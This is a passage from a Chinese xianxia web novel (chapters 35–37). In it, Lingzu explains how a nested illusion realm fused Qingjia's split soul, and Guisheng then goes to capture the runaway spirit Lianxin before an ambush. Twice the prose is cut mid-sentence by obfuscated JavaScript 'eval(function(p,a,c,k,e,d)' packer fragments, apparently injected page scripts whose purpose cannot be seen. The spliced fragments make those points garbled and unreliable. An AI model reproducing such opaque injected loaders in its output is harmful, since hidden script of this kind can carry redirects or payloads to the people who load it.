说到最后,灵祖已双目赤红,追到镜界的边缘,歇斯底里地对下方咆哮。 然而自始至终,那道背影都恍若未闻,头也不回地踏入焚城烈焰。 城中已是一片汪洋火海。 清伽甫一落地,便望见一行互相搀扶的灵怪,其中数只灵怪已然不省人事。 他立刻掠身过去,运起髓华,令那些灵怪身上的伤势回溯倒流。 出乎意料的是,他到了近处才发现,当日在芳泽楼被救下的白狐灵怪也在其中。 伤势恢复,白狐灵怪悠悠转醒,恍惚看到近在咫尺的面容,瞳孔骤然的猛烈收缩。 刻入骨髓的恐惧,吞没了在这危急的情境下已所剩无多的理智,白狐灵怪一把推开清伽,开始狂叫不止。 “是他!他来杀我了!他来杀我了!” “他要把我们都杀了!这样就没人知道他对灵怪做过什么了!” “救命啊!救命啊!救命啊……” 白狐叫得撕心裂肺,字字泣血,落入周遭本就濒临崩溃的众多灵怪耳中,声声如惊雷。 一众灵怪顿时同仇敌忾,看出清伽心口受伤,便合力猛攻那道伤口,将他驱离。 清伽不得已退回原处,捂住崩裂的伤口,知道自己撑不了多久了。 不行。 不能这样一个个救。 清伽转眼看向那些沸腾不休的火焰,想到什么,眸中有不舍的遗憾漫开。 他深吸一口气,闭上了眼睛。 刹那间,他满身髓华冲破髓脉,冲出顷刻支离破碎的肉身,散入无尽的虚空。 赤红的天幕下,一朵髓华凝聚的莲花浩然盛放,不计代价地吸纳焚城业火。 与此同时,归笙的视野中,乍然显现数道裂痕。 满目的地狱之景,如一面摔毁的镜子,开始四散崩碎。 境中之境,至此终于破裂。 35. 揭谜底 火焰与人声,皆在一瞬之间消弭。 天地间,茫茫白雾四起,再看不见三百年前的任何事物。 白雾上空,归笙的元魂焦急地飘来飘去。 这莲华境是破了还是没破? 破了的话,她为何还是元魂的状…… 元魂遽然一沉,像是被吸进了什么东西里,又很快恢复轻盈。 归笙猛地睁眼,顿见漫天莲瓣散落,似柔白的月光雨,晶莹剔透。 这里……不像是她在莲华境中见过的任何一处地方。 归笙怔怔伸手,接住这美丽又奇异的莲瓣,丝绒的花瓣在掌心舒展,表面灵光翻涌,涌现的竟然是她在两重莲华境中历经的一幕一幕。 从树怪下山,到捡走清伽进入莲华殿,到听完讲学后的三年陪读,再到与之共同进入往生镜的考核,附在木头灵怪的躯壳里伴他冲走所谓初代灵主的人生轨迹,直至最后一切湮灭在那场滔天的焚城业火里…… 归笙愣愣看着,恍如隔世,又注意到什么,当即又惊又喜—— 她捧住莲瓣的手,是她自己原身的手! 归笙简直要热泪盈眶了。 她激动地弯下腰来,挽起裤腿一看,果然也是她的腿! 又初步原地活动了一番,归笙彻底确定了——她回到自己的壳子里了! 归笙从来没有如此切身地体悟到何谓“失而复得,倍感珍惜”。 从前她也偶尔吐槽过自己这副生来缺憾的体质,但如今尝试过木头灵怪的壳子后,她觉得没有髓脉又如何,她这具肉身的体魄绝对是顶顶抗造的! 这就已经很好了! 归笙好久没有蹦跳自由了,毕竟那具木头灵怪的壳子到了后期走两步都会面临散架,所以归笙一站起来,便忍不住原地旋转跳跃了一阵。 正当归笙进行倒立测试臂力时,她在莲雨的雨幕后看到了一道人影。 归笙悚然一惊,下意识退了几寸,但又觉得那人影依稀有些眼熟,定睛一看,旋即加速冲了过去。 归笙冲到近前,唤道:“灵祖。” 妙慧灵祖低头,应道:“……姑娘。” 在灵祖不理解但尊重的注视下,归笙后知后觉自己还倒着:“……” 归笙一个后空翻站稳,拍拍手后,不好意思地挠了挠头。 一颗心却安定下来。 妙慧灵祖对她的称呼是“姑娘”,而非第一重莲华境中她随口给树怪取的名字,可知两重莲华境应当是一道破灭了,她如今见到的,正是三百年后现实里的妙慧灵祖。 既然如此,有些事情就可以当面询问了。 妙慧灵祖温声关切:“姑娘,身体可有不适?” 归笙:“没有没有,和在往生镜中的比,这身体可太适了。” 她思考着,心中有许多疑问盘亘郁结,一团乱麻似的纠缠不清,一时不知从何问起,其中有些仍是猜想,有些则已是判断。 最终,归笙决定从那个最荒谬的猜想问起。 然而不待她张口,妙慧灵祖蓦地俯下身来,对她深深一礼。 归笙:“?” 归笙傻眼了。 五雷轰顶后,归笙连忙抢上前,想要将对方扶起:“您这是何意?” 然而妙慧灵祖的身形却如镜中花水中月,无论归笙如何追赶,二人始终相隔一段不变的距离。 归笙:“……” 妙慧灵祖:“姑娘,但请受我一拜。” “至于缘由,”她道,“之后我会向姑娘细细解释。” “包括姑娘的所有疑问,我定会知无不言,言无不尽。” 妙慧灵祖的语气恳切至极,归笙也实在碰不着她,只好手足无措地站在原地,头皮发麻地等她拜完。 这一拜持续了将近五息,等到妙慧灵祖直起身时,归笙也已差不多反应过来她拜自己的缘由,那个猜想也已得到印证,一时默然。 妙慧灵祖道:“姑娘,关于莲华境中的一切,我怕从头到尾巨细无遗地讲述,会把时间浪费在你并不想知道的方面,恐耽误你后续的打算,所以,不如由你来提问,我来回答,也好尽快解开你的疑问。” 归笙:“好。” 灵祖既然这样说了,归笙便也不客气。 她开门见山地,直接抛出那个已被印证的荒谬猜测: “请问灵祖,莲华殿所谓的初代灵主,是否就是如今的清伽?” 妙慧灵祖:“是。” 她答得太过不作迟疑,以致归笙即便已有了判断,仍是被这个真相砸得措手不及,一时都忘了接下来要问些什么。 半晌,归笙有些恍惚地道:“他……没死?” 又连忙摆手,语无伦次地道:“我不是那个意思,就是最后那一幕,怎么看怎么都……” 喉间却涩然到无法将后续的话语道出。 真是奇怪,明明已经换回她自己的肉身,不该有这种难受的反应才对。 妙慧灵祖包容地接话:“都是必死之局对吗?” 她叹息说:“当时的灵祖也认为他死定了,可大火熄灭后,他真的还剩一口气。” 归笙:“……所以,那位灵祖便如他之前所说,将清伽关入了水月牢?” 妙慧灵祖:“是的。” 归笙:“……关了,多久?” 妙慧灵祖:“近三百年。五年前,是我将他赦免。” 归笙:“……” 妙慧灵祖观察她的神色,道:“姑娘是觉得,莲华殿对他处罚太过?” 归笙沉默片刻,实话实说:“我不知道。” 若他救煌星木,眼睁睁弃在场之人的性命于不顾,会是一时的罪人。 而他选择救城,间接断送了西漠的灵源,如今成了千古的罪人。 孰轻孰重,孰是孰非,她不是局中人,无法评判。 不,便是局中人,亦难分说清晰。 归笙:“我只是觉得……选择救城的人,不该是这样的下场。” 妙慧灵祖微微笑道:“姑娘,你的想法没有错。” “若在那场焚城焰中,有一个人挺身而出,弃自己的生命于不顾也要救下城民,这个人自然会成为西漠的恩人,大家会千秋万代铭记他的恩情……但前提是,这个人不能是在场唯一有能力救下煌星木的灵主。” “在其位,承其重。照看煌星木,本就是他的职责所在。选择救城,也就意味着他疏于职守。” “他既然选择走上灵主之位,有些无论如何都会算到他头上的罪孽,都是他该承受的。” “所以,这么多年,他也早就认罪了。” 听到最后一句,归笙顿时什么话都吞回去了。 清伽本人都认罪了,她在这打抱不平也不是个事了。 然而理智是接受了,胸臆中难以忽视的酸怒仍是无法消解。 这情绪超出了评判对错的范畴,单单是为那个人感到难受。 归笙叹了口气。 那就不在这个话题上停留了吧。 归笙抬眸,望定眼前的女人。 妙慧灵祖仿佛知道她接下来要问什么一般,轻轻俯首。 那目光柔和沉静,竟似无声的鼓励,鼓励她卸下包袱,大可直言不讳。 于是归笙笃定而不解地道: “那么,灵祖,您为何要利用莲心,设计让清伽陷入莲华境呢?” 是从什么时候开始怀疑的呢? 首先是在塔顶,清伽遭到偷袭时的神情,似乎心知肚明是何人动的手,却不明白这个熟悉的人为何要对他动手。 其次,是第一重莲华境里,妙慧灵祖对她和清伽的格外照拂,以及完全不合规矩便给予他二人的灵主候选考验机会。 后来,便是她在莲华境里,意识到这往生镜的考验就是个惊天巨坑,根本考不出什么名堂,因为无法分辨出在既定的轨迹里,哪些行为出自于初代灵主的残魂,哪些行为出自清伽的本心,相当于把两个人融合成了同一个……当然,那时她还不知道,他俩确实就是同一个人。 到了最后,她出境见到的第一个人果真是妙慧灵祖,这份怀疑便彻底转为了判断。 妙慧灵祖:“果然瞒不过姑娘的眼睛。” 归笙:“实在是……您也没藏。” 妙慧灵祖笑了笑,道:“姑娘,你觉得,你何以成为今日之你?” 猝不及防被提问一个如此深奥的问题,归笙差点以为自己回到了第一重莲华境中,终日为咒术的修炼课业发愁的时候。 一时想不出个所以然,归笙揪着衣袖,有些紧张地道:“这可太复杂了,有许多种不同的见解吧。” 好在,妙慧灵祖似乎并非要她给出一个答案,兀自说了下去:“姑娘说的是极。” “在诸多见解中,有这样的一种说法:寻常人自幼年,长至少年,经过漫长的成年,直至步入老年……终其一生,无论何时回望,充盈元魂的记忆都是一段连续的过往,由无数细分的时段连缀而成,而正是在这些不同时段上的独立的你,才构成了如今完整的你。” 归笙委婉举手:“这是莲华境先祖秉持的说法吗?” 妙慧灵祖惊讶:“姑娘果然聪明伶俐。” 归笙受之有愧:“不是……主要这让我熟悉的能听懂又不是太懂的风味……一听就感觉是莲华境的课业……” 妙慧灵祖咳了一声:“……既已出境,姑娘便忘了吧。” “不过,姑娘总应当知晓,修炼莲华境者,极易遭到反噬,这正可以这种说法来作解。” “莲华境大成者,可执掌光阴洪流,反之,亦可被光阴洪流淹没,连续的生命被切分作数道孤立的时段,亦会形成数枚割裂的元魂碎片。” “那些遭到反噬而走火入魔的灵侍,正是分裂的元魂在肉身内斗争博弈,想要互相取代,独占肉身,最终俱伤而亡。” 归笙想起她所见过的三个时段的清伽,惊愕道:“难道说……” 妙慧灵祖颔首:“当年,初代灵主身受重伤,无力与莲华境的紊扰对抗,残破的肉身镇压在水月牢底,元魂也因反噬分裂作四重碎片。” “从水月牢底走出来的清伽,正是少年时段的元魂碎片占据了肉身的主导,我暂且称之为主体。” “而我设计他陷入莲华境,是想让主体失去记忆,通过重新构建过去,使之与剩余的元魂碎片融合,令其修为最大限度地回到三百年前的高度。” “第一重莲华境,是真切的时空倒流。因初代灵主少年才入莲华殿,我无从得知他幼时的全部经历,只得根据他仅存的笔述,在境中设计了幼年遭到虐打、投奔莲华殿、爱好木雕刻艺等情节……好在,主体对这一段元魂碎片不多排斥,即便对应得如此粗糙,也顺利融合了。” “第二重莲华境,则是咒术虚构的幻境。之所以无法继续使用时空倒流,是因为我与莲心修为有限,无法真切地回溯到三百年前,这也是第一重莲华境借用数年前背景的缘故。” “三百年前,外来的普通灵侍进入莲华殿后,需在元魂中镶入一片往生镜的镜片,用以时时刻刻监视记录灵侍的行为,待灵侍死后,镜片回收,补回往生镜中,这正是往生镜能够完全复刻昔年景象的原因。” “得益于此,即便主体万分排斥自己青年时段的元魂碎片,也因原原本本地重走了那一段的人生轨迹,这第三重元魂也在破境的一瞬成功融合了。” 归笙:“……” 归笙听傻了。 归笙颤巍巍地举手:“那个,我总结个无脑精简版的,总之就是两重莲华境帮助清伽把幼年、少年、青年的三重元魂碎片融合起来了,现在的清伽才是个从莲华境反噬里恢复完整的清伽?” 妙慧灵祖:“姑娘果然冰雪聪明。” 归笙:“……谢谢灵祖。” 但灵祖您的鼓励式教育该不会是受初代灵主的启发吧! 太生硬了啊! 归笙默默把吐槽咽下去,把疑问端上来:“他的主体为何会格外排斥青年时段的元魂碎片?” 妙慧灵祖看着她,道:“关于这一点,我也不知。” “不过我猜想,或许是跟不同时段的想法不同有关,就像有的时候,人们无法共情过去的自己。” 她建议道:“或许,待会儿姑娘可以当面问问他。” 归笙抓了抓脸颊:“那还是算了,我不问了。” 这不就相当于问他为何讨厌另一个抢肉身主导权的自己么? 虽然元魂融合了,但现实里的清伽毕竟是那个一言不合把她铐住的少年清伽,她可不想去触他的霉头。 关于莲华境的疑问暂时解决了。 归笙想了想,接着问道:“那,灵祖,你将清伽从牢狱中赦免,又设计令他恢复完整的修为,是为了让他完成三百年前未尽的职责,尝试回溯时空,复活煌星木么?” 妙慧灵祖却摇了摇头:“这是一种虽然可行,却万万不能的做法。” 归笙也自觉天真,喃喃道:“也对,改变三百年前的一件大事,这三百年间又有多少事情会被修改,没有人能担得起这个责任。” “这样的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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归笙望着眼前的女人,忽觉心中一片冰凉:“在这个时候恢复他的修为,您的最后一分考量,莫非是打算再次……” 妙慧灵祖并不瞒她:“初代灵主自己承诺,若在仅剩的时间里,他无法寻找到破解之法,便会再次散尽髓华,来将功补过。” “只是站在我的立场,到了万不得已的这一步,我自然希望他的髓华是全盛状态,最好能再撑过下一个三百年,因而为他设计了莲华境。” 归笙忍不住问:“那下一个三百年过,又该当如何?” 妙慧灵祖平静地道:“太过遥远的事情,我无法给姑娘准话。” 归笙不知道说什么了。 西漠的事,也确实轮不到她来置喙。 良久,归笙干巴巴地道:“那便祝莲华殿能寻得破解之法了。” 妙慧灵祖:“多谢姑娘。” 又道:“我先前礼拜姑娘,是感激姑娘一同入境,协助灵主元魂融合,莲华殿自当重重酬谢。” 归笙摆摆手:“灵主也解答了我一个重要的问题,他当时答得那样轻易,我十分惴惴不安,总觉得亏欠了他什么似的,有了这么一回事,我心中反倒踏实,权当是报恩了。” “不过……” 归笙犹豫少许,还是开了口:“我还有最后一个问题。” 妙慧灵祖:“姑娘是想问,那只木头灵怪?” 归笙点点头:“三百年前,初代灵主……也就是清伽,他真的救过一只木头灵怪么?” 虽然在莲华境中,她已有了清晰的判断,但她还是想得到妙慧灵祖的亲口印证。 毕竟,一个曾不求上进,只想在莲华殿中混一口饭吃,终日与木雕相伴的灵侍,只因想给自己救下的一只木头灵怪重塑一具健康的身体,便一步一步向灵主的位置走去,以至沦落到粉身碎骨、万劫不复的境地…… 这怎么听,都太过荒诞不经,太过令人唏嘘了。 在内心深处,归笙也不愿信以为真。 然而这一回,妙慧灵祖却没有立刻回答她。 她静静地望着归笙,掩去眸底一声深长的叹息。 良久,她道:“是的。” “在盗走煌星木种的贼人初次潜入莲华殿的那一夜,赶去追捕的初代灵主救下了那只濒死的木头灵怪。” “或许最初只是因一时兴起,想将那只无论怎样看,都注定难逃一死的灵怪,从生死一线上拽回来……但人非草木,孰能无情?” “长久的悉心爱护,灵主伴那灵怪一步步恢复崩毁的原形,一点点修补断裂的髓脉,待那灵怪重新化出人形后,又为它描眉画眼,绘写轮廓,养得气血丰盈,无忧无虑……当时在莲华殿,任谁见了那小姑娘,都会知道她是一只极受主人爱护的灵怪。” “第二重莲华境说到底,不过是一场流速极快的幻境,不可能将过去的所有细节都复现得巨细无遗,何况姑娘以自身元魂入境,自一开始便灵智健全,即便附入木头灵怪的肉身中,也与常人无异,未能切身体会到昔年灵主为她倾注的万般心血。” “据昔年与灵主关系尚可的灵侍所记,那木头灵怪的言行举止、行走坐卧,皆由灵主一点一滴教导而成。传言在祈灵祭典前夕,除了没有一副健康的躯体,那灵怪的一言一行、一举一动,已同寻常少女无异,甚至修为不在许多灵侍之下。” “初代灵主决定回心转意,趟入彼时莲华殿的浑水,走上灵主之位,初衷也的确只是想为那木头灵怪重塑一副健康的身体。” “然而芳泽楼一事,到底成了他的一桩心结——人族豢养灵怪,助其化出人形,却又暗生情愫,日久生情与蓄意狎亵的界线,实在分说不清,因而直至劫数降临,天人永隔,他也未能将心意向那小木头道明。” 听到此处,归笙张了张口,忍不住道:“可是这种事情……若他自己问心无愧,又何须在乎旁人的眼光呢?” 灵祖静默须臾,道:“也许,正是因为太珍重了。” “所以,他无法容忍自己有一丝一毫肮脏亵渎的心思,无时无刻不在质疑诘责、鞭笞拷问自己,自己是否真的清清白白,是否真的与他的那些同僚不同。” 归笙说不出话来。 艰难找回自己的声音后,她道:“那最终……” 妙慧灵祖:“最终,也如莲华境中所示。” “在那场焚城焰中,那只灵怪不见踪迹。” “这些年来,与其说是莲华殿关了他三百年,不如说在过去很长的一段时间里,他是恢复了点气力,便执着地散出元魂碎片,在五方域境内寻找这只灵怪,因而伤势迟迟难愈,无法离开水月牢,直至反噬愈深,无力为继。” “只可惜,终是上天入地,遍寻不得。” 36. 收莲心(上) 从谈话的镜界中走出,二人便来到一间熟悉的殿宇,正是归笙先前乔扮地鼠偷贡品的那间。 归笙忽然想起什么,对着妙慧灵祖脱口而出:“我先前在水月牢底挖地洞,看到过一个人被关在笼中的景象,但一晃眼就不见了,那是我的错觉还是……” 妙慧灵祖顿了顿,道:“牢底空气稀薄,许是姑娘挖地洞时勤勉太过,没有注意劳逸结合,一时头晕眼花,出现了幻觉。” 归笙:“……好的,谢谢灵祖您不跟我计较挖地洞的事情。” 可那真的是错觉么? 归笙回想那人伏在笼底,遍体鳞伤,瘦骨嶙峋,近不似人的惨状。 她怎么觉着,那个人,那么像清伽呢? 妙慧灵祖引着归笙来到一扇门前,道:“灵主如今正在这隔间内,姑娘,你可以进去同他说说话。” 归笙:“……” 理智告诫她,她既出了莲华境,不再顶着那只木头灵怪的壳子,应当与这位西漠的灵主没什么好说的了。 但回过神来后,归笙发现自己已经站在了隔间的地砖上,并反手掩上了门。 “……” 坐在榻侧的人听到门口的动静,顿了一顿,偏首望来。 归笙不自觉地后退一步,脊背抵上门板,后知后觉地尴尬到头皮发麻。 虽然她和清伽在莲华境中关系不错,但出了莲华境,他们不过是有几面之缘的,甚至还有点嫌隙的陌生人。 而且因为莲华境中经历的缘故,这半生不熟的关系里又多了几分尴尬。 至少归笙一时是没找到话讲,清伽也只是静静地看她,不知在想什么。 相顾无言半晌,是清伽先开了口。 他道:“多谢你。” 归笙悚然一惊,生怕他也来给自己拜上一拜,连忙摇手:“不必不必,灵主你也帮了我一个大忙,就当两清了吧。” 清伽沉默不语。 归笙手背在身后,揪着自己的发尾,尴尬得汗流浃背。 她觉得找点话说,于是将进门前问妙慧灵祖的事情又问了一遍。 归笙:“那是你吗?我觉得像你。” 清伽低声道:“是我。” 归笙奇怪:“可我为何会看到你在牢底的景象呢?” 清伽淡道:“应该是遗落在牢底的一点元魂碎片,恰巧是属于贮忆墟的那一部分,恰巧被你碰上了吧,不必在意。” 贮忆墟,元魂中用以贮藏记忆的部分,与储存法宝的天工海同为元魂的构造。 归笙:“原来如此。” 话音落下,殿内又安静下来。 得到他的印证,归笙非但不感到轻松,反似有尖锐的针脚在脏腑间戳刺,泛起密密不休的隐痛。 归笙不由自主地望向他撑住榻沿的手,手背的筋骨消瘦清癯,衬得那些疤痕的分量愈发深重。 归笙喉咙哽了哽,脱口而出:“伤口……还疼吗?” 说完她就想给自己来一榔头,这可真是问了句废话。 清伽听言,缓缓抬眸。 那一瞬,归笙望见他眼中蒙了一重蓄雨的云雾。 然而他很快垂落睫羽,将那空濛的雾色隐去。 依稀间,有一滴晶莹坠落。 归笙站得太远,没能看见。 她只是觉得,清伽这副不声不响的模样着实令她难受。 她宁可他像进入莲华境前那样,阴阳怪气地跟她计较一番…… 归笙腿动了动,想要走过去。 虽然不知道走过去能干什么,但就是想站得离他近一些。 不及动作,塔外突然爆出一声巨大的轰鸣,打断了归笙的意图。 整座殿宇地动山摇,归笙活活被摇得跳了一下才站稳,惊愕道:“莲华殿又出事了?” 她真的不是故意用“又”这个字的。 实在是突发事件有些太频繁了啊! 清伽:“莲心发现被灵祖利用,现在大概是更生气了。” 他瞥了眼窗外纷扬若雨的莲瓣,弯了弯恢复清明的眼睛:“你看,她都不逃了,还弄出这么大动静,是打算把整个莲华殿砸了吗?真厉害啊。” 归笙瞪大了眼:“原来莲心还没解决吗?” 清伽笑了一声:“我们三个刚出莲华境,谁去解决她?靠其他那些莲华境都学不明白的灵侍吗?” 归笙:“……好的,谢谢解答。” 听着熟悉的带着笑意的讥诮,她终于稍稍定下了心。 挺好的,终于有力气嘲讽人了,他应该没什么大碍了。 清伽缓缓起身,向归笙走过来。 结果才走两步,他便是一阵压抑的低咳,面上血色尽失。 归笙下意识想上前扶他,却又想起如今已不在往生镜中,这样做不合适。 她只好在原地驻足,袖中的手指不自觉收拢,随清伽断续的咳嗽,一下一下地轻颤。 清伽慢慢走过来,在归笙的一步外站定,放下掩唇的衣袖,气息轻弱地道:“你说我之前帮了你一个大忙,不如,我们都帮人帮到底吧。” 归笙盯着他乌青的唇,眉头不自觉地拧紧:“你说。” 清伽道:“灵祖一手栽培莲心长大,恐怕不忍亲自动手;莲心又集莲华殿众灵侍咒术所成,天然能压制他们的功法;而我方才恢复修为,如今体内髓华震荡,髓脉不适,走两步都费劲……” “所以,擒拿莲心一事,还望……姑娘,出手相助。” 归笙举手:“那个,我叫归笙。” 清伽恍若未闻:“当然,这个忙不会让姑娘白帮。” “擒获莲心后,她便是你的灵怪了。” 归笙一愣,没懂他开出这个酬劳的缘由。 好在清伽很快做了解释:“对你来说,要寻找莲华境下的镜显之术,带一个精通莲华境的莲心,可能会有所帮助;对莲心来说,她被莲华殿摆了两道,定是不想再留在西漠了,她是咒术集结而成的人造灵怪,并非天然依赖西漠灵髓,可以随你离开……而西漠如今有我托底,也已经不需要她了。三全其美。” 归笙顺着清伽的话思考了一下。 好像,确实,她不吃亏? 而且在镜显之术外,她还要再找一个碎虚宝镜,这是莲华殿的法宝,说不定莲心也能有所感应。 碎虚宝镜被师母和师父带走,如果能感应到这样法宝的话,应该就能顺藤摸瓜,找到他二人的下落了。 虽然她有专门用来找东西的二爻,但它也并非无所不能,比如它就无法直接找到师母和师父,因此多一样助益总是好的。 归笙遂一口答应下来:“好。” 又陡然反应过来西漠灵髓不足,她的能力要大打折扣,当即恨不得猛抽自己这张快嘴。 正当归笙绞尽脑汁地思考该如何反悔才不显得自己像个言而无信的窝囊废之际,清伽忽然抬起手来,在她额前轻轻一拂。 一泓浩瀚而又熟悉的髓华涌入归笙的元魂,久未大显身手的核桃们得到髓华的滋养,一个个顿时精神焕发,跃跃欲试。 清伽:“借你点髓华。” 这不是三百年后的清伽第一回借她髓华。 然而,他的手却并未如先前在回廊时那般,一拂即过,不作停留。 归笙疑惑地抬眸。 那伤痕累累的掌心悬在她额前,微微滞空。 似乎随时都会落下来,落在她鬓发,又或是脸颊。 归笙看得揪心:是胳膊不舒服么? 正当她斗胆决定,抬手将他的胳膊接下来时,清伽若无其事地放下了手。 他错开目光,掩袖低咳,似乎真的很不舒服。 再抬眼时,恢复如常,眼角洇染笑意,是她熟悉的模样。 只不过,明显比境中要疏离了许多。 他道:“那便提前谢过姑娘了。” 归笙点点头:“你回榻上歇着吧,不舒服就别强撑了。” 随即她放出二爻,掠窗而出。 归笙攀住檐下金铃,腰腹一卷,翻身落上檐顶。 用五爻藏起身形,归笙贴住塔身,蹑手蹑脚地向巨震传来处接近。 檐上砖瓦苍青,陈卧数滩残缺的莲瓣,似下了一场畸形的暴雪。 归笙当即认出这些莲瓣都是从莲心身上掉下来的。 也是,莲心一面要困住莲华境里的清伽和她,一面又要躲避灵侍们的合力追捕,破境前已经消耗了大量的髓华,如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归笙举着四爻,谨慎地走过去。 然而没走几步,她额角蓦地一痒,似被什么东西挠了一下。 归笙霍然抬头,待看清那东西后,顿时松了口气。 原来是从一侧的梁木上,倒挂下来的一张空白的纸片。 那纸片看上去平平无奇,像是从某本咒卷里撕下来的一张空白页,被风吹到了这里挂着。 归笙没多在意,随手将这纸片拂到身后。 又走了几步,归笙看到了莲心。 前方五步处,三根梁木交错形成的犄角里,莲心蜷缩着,小小的一个,气喘吁吁,像一只误闯高台的小猫,毛发耸立地瞪着归笙这个欲行不轨的恶人。 归笙向前走了一步:“莲心。” 莲心一个激灵,伸手扒住旁边的窗沿,恶狠狠地道:“你别过来!” 归笙站住不动:“好,我不过去。” 袖底则无声放出三爻,贴住梁木的底面,壁虎一般向莲心游去。 莲心毫无所觉,恨声道:“你果然跟他们是一伙的!” 归笙拿手指刮了刮脸,诚恳地道:“如果你当时不把我跟清伽打包关进莲华境,我应该没这个机会跟他们变成一伙的。” 莲心:“所以还要怪我自己蠢吗?!” 她到了崩溃的边缘,一点即炸,归笙生怕她一个激动直接从窗户口跳出去了,连忙柔声安抚:“不不不,是我的错!是我不该把被清伽铐住的手藏在背后,我应该高举过头顶让你一眼看见!” 莲心伸出嫣粉的瓣尖,指住归笙的鼻子痛骂:“没错!就是你的错!你怎么和我一样笨,那么轻易地就被他铐住!你一个中州来的,打架这么拉胯,你丢不丢人啊你!” 归笙有点受伤了:“……人身攻击就过分了啊!我打不过一个三百多岁的老人家不是很正常吗!” 莲心还要再骂,却“噗”的一声,率先喷出了一个鼻涕泡。 莲心:“……” 归笙:“……” 37. 收莲心(下) 这亮晶晶轻飘飘的鼻涕泡,如同压死骆驼的最后一根稻草。 莲心“哇”的一声就哭了,断了线的露珠从眼睛里直往外冒。 两条莲瓣状的手臂环住膝头,莲心将脸深深地埋进去,兀自嚎啕大哭了起来,像是也懒得再管归笙会不会趁机上前,将她一举擒获了。 见状,归笙想了想,指尖一拨。 已经来到莲心身下的三爻一停,贴在梁底,暂且按兵不动。 哭了一阵,莲心抽噎着开了口:“……你们莲华殿的都是坏人,用莲华境的术法将我养大,却是为了活活烧死我,让我散出身体里的髓华。” “我知道我不从,算是恩将仇报,可我若从,我又总有点不甘心。” “还有,灵祖。” 莲心蓦地抬起头来。 不熟练的化形,连作出略微鲜活的表情都万般艰难。 却在提到这个名字时,她的面上浮现出无比真切的哀伤。 “在我只有半开的灵智时,我听到她很温柔地唤我莲心……先前你们来抓我,唯独她没有出现,我还以为莲华殿至少还有一个人不舍得对我动手。” “结果刚才破境时我才知道,原来她也只是为了利用我……我彻头彻尾,只是莲华殿打造出来的一柄工具而已。” 说到这里,莲心先前强撑出来的凶相全部散了,只余下了深深的迷惘。 “我也不知道该怎么办了,要不你杀了我,大家都别好过好了。” 听着这孩子气的话语,归笙心里闷闷的,有种说不上来的感受。 她正在斟酌,又听莲心道:“你身上的髓华气息……是灵主的?他为什么不亲自来杀我?被他害死的人那么多,他还怕多一个我吗?” 归笙一顿。 原本已稍稍平静的莲心骤然烦躁起来:“你那是什么眼神?我说的不对吗?为什么他当年犯下的过错,害得西漠如今如此难过,却要通过烧死我来补救?凭什么啊?!” “……” 归笙唇动了动。 她知道,若在此刻为清伽说话,一定会更加激怒莲心,是一个极不明智的选择。 然而,难以克制的酸涩与怒意,犹如疯长的藤蔓缠结在喉头,生拉硬扯着,将她压抑在喉间的话拽出了口:“他在想办法补救。” 莲心果然暴怒道:“补救?他能补救什么?他能让煌星木复活吗?” 她三声反诘,声声刺耳,锥子一般凿在归笙的颅骨,激得她越发气血上头,满心充斥着针锋相对的情绪,当即也想不管不顾,大声质问回去,问得这小莲花哑口无言、无地自容才罢休。 但徒劳地宣泄情绪,最是于事无济。 指甲深深嵌入掌肉,最终,归笙没有接莲心的话。 她静静地道:“我一直很想问一个问题,为什么在你们的指责里,那潜入西漠、纵火烧城、盗走木种的,害得西漠沦落至此的真正元凶,一直都隐身了呢?” 莲心一怔。 归笙观察着她的反应,语气越发平和:“你恨清伽,自然有你的道理,指责他也情有可原,但你要骂,也请带上那两个元凶一起骂,好吗?不然这会让我觉得,你只会窝里横,而且主次不分,是一只不仅笨,还很坏的灵怪。” 莲心:“我……” 归笙:“你之前说我丢中州的脸,那你这会儿就是丢全体灵怪的脸,毕竟当年在火中被清伽救下来的灵怪,肯定还是骂那两个人骂得更狠。” 莲心:“……” 归笙气定神闲地一撩袍摆,原地盘腿坐下了。 她朝莲心勾勾手:“来吧,你骂吧,我就坐这听你骂,听你骂个够。” 莲心:“……” 莲心骂不出口了。 准确来说,她脸色涨红,隐有羞惭之色。 即便不甘心,唇齿嗫嚅半天,却仍是什么都说不出来。 归笙:“不骂了?不骂了就冷静点,听我说。” 归笙一口气将妙慧灵祖设计莲华境的来龙去脉和盘托出,总结道:“所以,妙慧灵祖利用你,也是在救你。你如今也不需要再上涅火台了,清伽会找到破解之法。你所担心的所有事情,都已经解决了。” 她一锤定音:“你不想在西漠呆,那你就跟我走吧,清伽已经同意了。” 莲心瘪着嘴,啪嗒啪嗒地掉着眼泪,模样可怜极了。 须臾,她终于“哇”的一声哭出来,瘫坐在地上,四瓣并用,死死抱住翘起的梁木一角:“这里好高……我、我、我不敢过去……” “我之前站在塔顶不动……也是因为……太高了……” 她哭得越发凄惨:“莲华殿的这些坏人……把我放在那么高的台上……他们就不能换个地方吗……你们这些人真是坏死了……” 归笙:“……” 归笙哭笑不得:“那你就在那坐稳了,我过去接你。” 心中巨石落地,虽然这靠窗的一段梁木委实陡峭难行,但和莲心终于平静下来比都不算事。 归笙小心翼翼地提气,一步一步地向莲心走近。 她向莲心伸出手:“别怕,我过来……” “叮——” 窗外,檐下的铜铃轻响。 与此同时,一线暗红的光泽,掠过归笙的余光。 这一瞬仿佛被无限拉长,有股阴冷潮湿的髓华猝然逼至,像白骨深埋的海,掀起一幢冰寒的骇浪。 归笙只觉身如一片被浪头打翻的小舟,无法抗拒地被海浪卷向了那扇窄窗。 与莲心擦身而过的瞬间,后者惊愕地瞪大了眼,不懂这人好好的为何突然摔了过来。 不懂归不懂,莲心伸手就要来扶归笙:“小心……” 表情却凝固在了担忧的这一瞬。 归笙跌出窗外的刹那,看到交错的血色划开莲心的身体。 四分五裂。 再多的,归笙没能看见。 呼啸的狂风灌入她的耳膜,归笙的身体急坠而下,缠身的阴冷髓华几乎是裹挟着她往地上砸。 照这个冲击力道直挺挺摔下去,她不死也得落得个粉身碎骨的下场。 归笙奋力挣扎的同时,立刻放出四爻盾。 棕褐的核桃片振开,将她拢于其中。 